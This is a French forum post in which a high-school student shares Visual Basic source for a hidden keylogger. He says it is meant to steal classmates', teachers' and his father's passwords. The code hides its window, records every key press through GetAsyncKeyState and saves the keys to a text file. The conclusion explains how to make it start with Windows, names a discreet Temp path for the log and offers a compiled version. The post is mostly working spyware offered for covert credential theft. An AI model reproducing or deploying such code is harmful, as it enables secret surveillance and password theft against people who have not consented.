Slt à tous et à toutes (pourquoi pas. hein... lol).
Voila je suis au lycée, (en TSI), et nous disposons de login et de mots de passe pour se connecter sur le réseau. Pratique pour les profs, ils peuvent savoir ce que vous avez fait sur le net etc....). Pour pas me faire piquer il me fallait donc connaitre les pass d'autres personnes ( voir ceux des profs... lol.). J'ai donc créé ce piti programme qui enregistre les touches préssées dès la mise en route du Pc, jusqu'à son extinction, puis les enregistres dans un txt (su'il faut préalablement créé.). De plus mon père c'était amusé à mettre un mot de passe sur internet à la maison.... lol. double usage.
Source / Exemple :
'**************************************************************
'* PRESENTATION DU PROGRAMME *
'* Voici de quoi faire sauter bon nombre de mots de passe *
'* puisque ce programme permet d'enregistrer les touchess *
'* du clavier qui ont été pressées. Pour les restituer dans un *
'* fichier "txt" *
'* Il se lance automatiquement lors de l'ouverture de Windows *
'* MERCI QUI ??? DJ PSYKO *
'**************************************************************
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Form1.Hide 'cache le programme pour ne pas se faire demasquer
'(seulement visible dans le gestionnaire des tâches)
Text1.Top = 0
Text1.Left = 0
Text1.Height = Height - 356
Text1.Width = Width - 80
'pour purger le buffeur du clavier
Timer1_Timer
Text1.Text = ""
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Afin de sauver les touches préssées dans un fichier .txt lors de la femeture
Dim vari As Integer
vari = FreeFile
contenu = Form1.Text1.Text
' adresse du fichier a sauver
chemin = "le chemin du txt"
'ouverture du fichier
Open chemin For Output As #vari
' enregistrement du texte
Print #vari, contenu
'Fermeture du fichier
Close vari
End Sub
Private Sub Timer1_Timer()
'------------------------
' Petit programme pour derouter
' Les mots de passes....
'------------------------
For a = 0 To 256 'on scanne toute les touche du clavier
If GetAsyncKeyState(a) <> 0 Then 'regarde si la touche a ete appuillée
Select Case a
Case 0:
Case 1: Text1.Text = "Bouton gauche de la souris" & vbCrLf & Text1.Text ' vbKeyLButton
Case 2: Text1.Text = "Bouton droit de la souris" & vbCrLf & Text1.Text ' vbKeyRButton
Case 3: 'je ne sais pas ce qu'elle signifie car elle est toujour appuiller
'Case 3: Text1.Text = "Touche ANNUL" & vbCrLf & Text1.Text ' vbKeyCancel
Case 4: Text1.Text = "Bouton central de la souris" & vbCrLf & Text1.Text ' vbKeyMButton
Case 8: Text1.Text = "Touche RET.ARR" & vbCrLf & Text1.Text ' vbKeyBack
Case 9: Text1.Text = "Touche TAB" & vbCrLf & Text1.Text ' vbKeyTab
Case 12: Text1.Text = "Touche EFFACER" & vbCrLf & Text1.Text ' vbKeyClear
Case 13: Text1.Text = "Touche ENTRÉE" & vbCrLf & Text1.Text ' vbKeyReturn
Case 16: Text1.Text = "Touche MAJ" & vbCrLf & Text1.Text ' vbKeyShift
Case 17: Text1.Text = "Touche CTRL" & vbCrLf & Text1.Text ' vbKeyControl
Case 18: Text1.Text = "Touche MENU" & vbCrLf & Text1.Text ' vbKeyMenu
Case 19: Text1.Text = "Touche PAUSE" & vbCrLf & Text1.Text ' vbKeyPause
Case 20: Text1.Text = "Touche VERR.MAJ" & vbCrLf & Text1.Text ' vbKeyCapital
Case 27: Text1.Text = "Touche ÉCHAP." & vbCrLf & Text1.Text ' vbKeyEscape
Case 32: Text1.Text = "Touche ESPACE" & vbCrLf & Text1.Text ' vbKeySpace
Case 33: Text1.Text = "Touche PG PRÉC." & vbCrLf & Text1.Text ' vbKeyPageUp
Case 34: Text1.Text = "Touche PG SUIV." & vbCrLf & Text1.Text ' vbKeyPageDown
Case 35: Text1.Text = "Touche FIN" & vbCrLf & Text1.Text ' vbKeyEnd
Case 36: Text1.Text = "Touche ORIGINE" & vbCrLf & Text1.Text ' vbKeyHome
Case 37: Text1.Text = "Touche FLÈCHE VERS LA GAUCHE " & vbCrLf & Text1.Text ' vbKeyLeft
Case 38: Text1.Text = "Touche FLÈCHE VERS LE HAUT " & vbCrLf & Text1.Text ' vbKeyUp
Case 39: Text1.Text = "Touche FLÈCHE VERS LA DROITE " & vbCrLf & Text1.Text ' vbKeyRight
Case 40: Text1.Text = "Touche FLÈCHE VERS LE BAS " & vbCrLf & Text1.Text ' vbKeyDown
Case 41: Text1.Text = "Touche SELECT" & vbCrLf & Text1.Text ' vbKeySelect
Case 42: Text1.Text = "Touche IMPR.ÉCRAN" & vbCrLf & Text1.Text ' vbKeyPrint
Case 43: Text1.Text = "Touche EXÉCUTE" & vbCrLf & Text1.Text ' vbKeyExecute
Case 44: Text1.Text = "Touche INSTANTANÉ" & vbCrLf & Text1.Text ' vbKeySnapshot
Case 45: Text1.Text = "Touche INSER" & vbCrLf & Text1.Text ' vbKeyInsert
Case 46: Text1.Text = "Touche SUPPR." & vbCrLf & Text1.Text ' vbKeyDelete
Case 47: Text1.Text = "Touche AIDE" & vbCrLf & Text1.Text ' vbKeyHelp
Case 48: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKey0
Case 49: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKey1
Case 50: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKey2
Case 51: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKey3
Case 52: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKey4
Case 53: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKey5
Case 54: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKey6
Case 55: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKey7
Case 56: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKey8
Case 57: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKey9
Case 65: Text1.Text = "Touche A" & vbCrLf & Text1.Text ' vbKeyA
Case 66: Text1.Text = "Touche B" & vbCrLf & Text1.Text ' vbKeyB
Case 67: Text1.Text = "Touche C" & vbCrLf & Text1.Text ' vbKeyC
Case 68: Text1.Text = "Touche D" & vbCrLf & Text1.Text ' vbKeyD
Case 69: Text1.Text = "Touche E" & vbCrLf & Text1.Text ' vbKeyE
Case 70: Text1.Text = "Touche F" & vbCrLf & Text1.Text ' vbKeyF
Case 71: Text1.Text = "Touche G" & vbCrLf & Text1.Text ' vbKeyG
Case 72: Text1.Text = "Touche H" & vbCrLf & Text1.Text ' vbKeyH
Case 73: Text1.Text = "Touche I" & vbCrLf & Text1.Text ' vbKeyI
Case 74: Text1.Text = "Touche J" & vbCrLf & Text1.Text ' vbKeyJ
Case 75: Text1.Text = "Touche K" & vbCrLf & Text1.Text ' vbKeyK
Case 76: Text1.Text = "Touche L" & vbCrLf & Text1.Text ' vbKeyL
Case 77: Text1.Text = "Touche M" & vbCrLf & Text1.Text ' vbKeyM
Case 78: Text1.Text = "Touche N" & vbCrLf & Text1.Text ' vbKeyN
Case 79: Text1.Text = "Touche O" & vbCrLf & Text1.Text ' vbKeyO
Case 80: Text1.Text = "Touche P" & vbCrLf & Text1.Text ' vbKeyP
Case 81: Text1.Text = "Touche Q" & vbCrLf & Text1.Text ' vbKeyQ
Case 82: Text1.Text = "Touche R" & vbCrLf & Text1.Text ' vbKeyR
Case 83: Text1.Text = "Touche S" & vbCrLf & Text1.Text ' vbKeyS
Case 84: Text1.Text = "Touche T" & vbCrLf & Text1.Text ' vbKeyT
Case 85: Text1.Text = "Touche U" & vbCrLf & Text1.Text ' vbKeyU
Case 86: Text1.Text = "Touche V" & vbCrLf & Text1.Text ' vbKeyV
Case 87: Text1.Text = "Touche W" & vbCrLf & Text1.Text ' vbKeyW
Case 88: Text1.Text = "Touche X" & vbCrLf & Text1.Text ' vbKeyX
Case 89: Text1.Text = "Touche Y" & vbCrLf & Text1.Text ' vbKeyY
Case 90: Text1.Text = "Touche Z" & vbCrLf & Text1.Text ' vbKeyZ
Case 91: Text1.Text = "Touche Windows gauche" & vbCrLf & Text1.Text '
Case 92: Text1.Text = "Touche contextuel" & vbCrLf & Text1.Text '
Case 93: Text1.Text = "Touche Windows droite" & vbCrLf & Text1.Text '
Case 96: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKeyNumpad0
Case 97: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKeyNumpad1
Case 98: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKeyNumpad2
Case 99: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKeyNumpad3
Case 100: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKeyNumpad4
Case 101: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKeyNumpad5
Case 102: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKeyNumpad6
Case 103: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKeyNumpad7
Case 104: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKeyNumpad8
Case 105: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKeyNumpad9
Case 106: Text1.Text = "Touche SIGNE MULTIPLICATION (*)" & vbCrLf & Text1.Text ' vbKeyMultiply
Case 107: Text1.Text = "Touche SIGNE PLUS (+)" & vbCrLf & Text1.Text ' vbKeyAdd
Case 108: Text1.Text = "Touche ENTRÉE (pavé numérique)" & vbCrLf & Text1.Text ' vbKeySeparator
Case 109: Text1.Text = "Touche SIGNE MOINS (-)" & vbCrLf & Text1.Text ' vbKeySubtract
Case 110: Text1.Text = "Touche POINT DÉCIMAL (.)" & vbCrLf & Text1.Text ' vbKeyDecimal
Case 111: Text1.Text = "Touche SIGNE DIVISION (/)" & vbCrLf & Text1.Text ' vbKeyDivide
Case 112: Text1.Text = "Touche F1" & vbCrLf & Text1.Text ' vbKeyF1
Case 113: Text1.Text = "Touche F2" & vbCrLf & Text1.Text ' vbKeyF2
Case 114: Text1.Text = "Touche F3" & vbCrLf & Text1.Text ' vbKeyF3
Case 115: Text1.Text = "Touche F4" & vbCrLf & Text1.Text ' vbKeyF4
Case 116: Text1.Text = "Touche F5" & vbCrLf & Text1.Text ' vbKeyF5
Case 117: Text1.Text = "Touche F6" & vbCrLf & Text1.Text ' vbKeyF6
Case 118: Text1.Text = "Touche F7" & vbCrLf & Text1.Text ' vbKeyF7
Case 119: Text1.Text = "Touche F8" & vbCrLf & Text1.Text ' vbKeyF8
Case 120: Text1.Text = "Touche F9" & vbCrLf & Text1.Text ' vbKeyF9
Case 121: Text1.Text = "Touche F10" & vbCrLf & Text1.Text ' vbKeyF10
Case 122: Text1.Text = "Touche F11" & vbCrLf & Text1.Text ' vbKeyF11
Case 123: Text1.Text = "Touche F12" & vbCrLf & Text1.Text ' vbKeyF12
Case 124: Text1.Text = "Touche F13" & vbCrLf & Text1.Text ' vbKeyF13
Case 125: Text1.Text = "Touche F14" & vbCrLf & Text1.Text ' vbKeyF14
Case 126: Text1.Text = "Touche F15" & vbCrLf & Text1.Text ' vbKeyF15
Case 127: Text1.Text = "Touche F16" & vbCrLf & Text1.Text ' vbKeyF16
Case 144: Text1.Text = "Touche VERR.NUM" & vbCrLf & Text1.Text ' vbKeyNumlock
Case 145: Text1.Text = "Touche Arrêt défil" & vbCrLf & Text1.Text '
Case 186: Text1.Text = "Touche $ ou £" & vbCrLf & Text1.Text '
Case 187: Text1.Text = "Touche + ou =" & vbCrLf & Text1.Text '
Case 188: Text1.Text = "Touche , ou ?" & vbCrLf & Text1.Text '
Case 190: Text1.Text = "Touche ; ou ." & vbCrLf & Text1.Text '
Case 191: Text1.Text = "Touche : ou /" & vbCrLf & Text1.Text '
Case 192: Text1.Text = "Touche ù ou %" & vbCrLf & Text1.Text '
Case 219: Text1.Text = "Touche ° ou )" & vbCrLf & Text1.Text '
Case 220: Text1.Text = "Touche * ou µ" & vbCrLf & Text1.Text '
Case 221: Text1.Text = "Touche ^ ou s" & vbCrLf & Text1.Text '
Case 222: Text1.Text = "Touche ²" & vbCrLf & Text1.Text '
Case 223: Text1.Text = "Touche < ou >" & vbCrLf & Text1.Text '
Case 226: Text1.Text = "Touche ! ou §" & vbCrLf & Text1.Text '
Case Else: Text1.Text = "Touche inconnue : " & a & vbCrLf & Text1.Text 'Touche inconnue
End Select
End If
Next
End Sub
'amuser vous bien les mecton.
Conclusion :
Ok bon voila les dernieres recommandations afin que ce dernier fonctionne comme un "timer" (cf comme une horloge lol.) :
- mettre l'exe dans le menu "Démarrage" (demarrer\programme\démarrage)
- bien crée le fichier TXT dans le chemin (qui est à préciser ci-dessus)
- Je pense que c'est tout.
Enfin pour les flemards, j'ai compilé le programme, tout est dans le zip. il ne vous reste plus qu'à crée le txt dans le repertoire suivant : C:\WINDOWS\Temp\logger.txt et de le nommer logger.txt
( j'ai mis ce chemin par soucis de discretion.)
Normalement ya pas de bugs. Si vous en avez contactez moi : levequeis@wanadoo.fr
A+ et dites moi ce que vous en penser.
Bonne prog.
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.